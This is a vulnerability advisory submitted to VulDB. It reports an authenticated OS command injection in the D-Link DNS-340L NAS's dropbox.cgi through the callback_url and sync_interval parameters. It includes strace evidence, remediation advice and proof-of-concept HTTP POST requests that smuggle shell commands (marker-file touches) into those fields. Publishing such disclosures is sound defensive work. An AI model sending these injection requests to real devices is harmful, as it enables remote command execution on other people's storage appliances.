Submit #894213: D-Link DNS-340L ShareCenter confirmed DNS-340L firmware builds OS Command Injection

D-Link DNS-340L dropbox.cgi OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-008
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-340L ShareCenter
- **Affected Version / Firmware:** confirmed DNS-340L firmware builds
- **Affected Component:** cgi/dropbox.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `dropbox.cgi` CGI handler implements Dropbox backup/sync management. In DNS-340L REVA 1.01B04, authenticated Dropbox management branches concatenate POST parameters into shell commands passed to `dropnasctl`, including:

```text
dropnasctl --getaccessurl <callback_url> > /dev/null
dropnasctl --setdownperiod <sync_interval> > /dev/null
```

These commands are executed through `/bin/sh -c`. Because `callback_url` and `sync_interval` are not shell-metacharacter neutralized, an authenticated web attacker can inject shell metacharacters and execute arbitrary commands as the CGI process user.

The vulnerable paths are reachable from the authenticated Dropbox UI. `dropbox.js` sends POST requests to `/cgi-bin/dropbox.cgi` for Dropbox access URL and interval configuration actions.

## 5. Technical Details

Runtime summary:

| Firmware | Binary SHA1 | Marker hits | Controlled exec traces |
| ---------------- | ---------------------------------------- | ----------- | ---------------------- |
| DNS-320L 1.10B03 | b98fff5ad3bc8001de0d32f576aba75e98c97db1 | 0 | 6 |
| DNS-327L 1.10B02 | 2629baee32d66caac2429b1c9b60396dcb065b12 | 0 | 6 |
| DNS-340L 1.01B04 | e11a4060d7042446b3cf36e4bb8bbd0b6f6b47e0 | 3 | 4 |

Representative DNS-340L qemu strace evidence:

`callback_url` semicolon injection:

```text
execve("/bin/sh",{"sh","-c","dropnasctl --getaccessurl http://127.0.0.1/cb;touch /tmp/FIRMREC_DNS340L_101B04_DROPBOX_20260526_callback.hit;# > /dev/null",NULL})
```

`callback_url` command substitution:

```text
execve("/bin/sh",{"sh","-c","dropnasctl --getaccessurl http://127.0.0.1/cb$(touch /tmp/FIRMREC_DNS340L_101B04_DROPBOX_20260526_callback_cmdsub.hit) > /dev/null",NULL})
```

`sync_interval` semicolon injection:

```text
execve("/bin/sh",{"sh","-c","dropnasctl --setdownperiod 3600;touch /tmp/FIRMREC_DNS340L_101B04_DROPBOX_20260526_interval.hit;# > /dev/null",NULL})
```

The verifier created marker files in the temporary DNS-340L qemu sysroot for the above cases.

## 6. Proof of Concept / Reproduction

Low-impact marker examples:

```http
POST /cgi-bin/dropbox.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_Dropbox_get_access_url&callback_url=http://127.0.0.1/cb;touch /tmp/DLINK_CMD_008_callback.hit;#
```

```http
POST /cgi-bin/dropbox.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_Dropbox_set_interval&sync_interval=3600;touch /tmp/DLINK_CMD_008_interval.hit;#
```

## 7. Security Impact

Successful exploitation allows authenticated remote command execution on the NAS appliance through the Dropbox backup/sync management workflow. The attacker can run arbitrary shell commands, alter backup configuration, install or remove files, or disrupt NAS services.

This report is limited to `dropnasctl` shell command paths confirmed with marker files and qemu strace. `cgi_Dropbox_set_folder` was also tested; the focused verifier did not create marker files for that branch on DNS-340L, so it is not claimed here.

## 8. Remediation Recommendation

1. Replace shell-based command construction with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat callback URLs and interval values as structured values, not shell fragments.
3. Enforce strict server-side validation for URL schemes/hosts and numeric interval ranges.
4. Reject shell metacharacters, command substitutions, quoting characters, separators, and malformed values before launching Dropbox management actions.
5. Add server-side authorization and CSRF protections for Dropbox backup/sync management actions.

• Source: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-008-vulndb.md
• User: ST4R0001 (UID 99565)
• Submission: 07/17/2026 18:36 (2 months ago)
• Moderation: 09/03/2026 16:24 (2 months later)
• Status: Accepted
• VulDB entry: 398422 [D-Link DNS-340L 1.01B04 CGI /cgi-bin/dropbox.cgi callback_url/sync_interval os command injection]
• Points: 20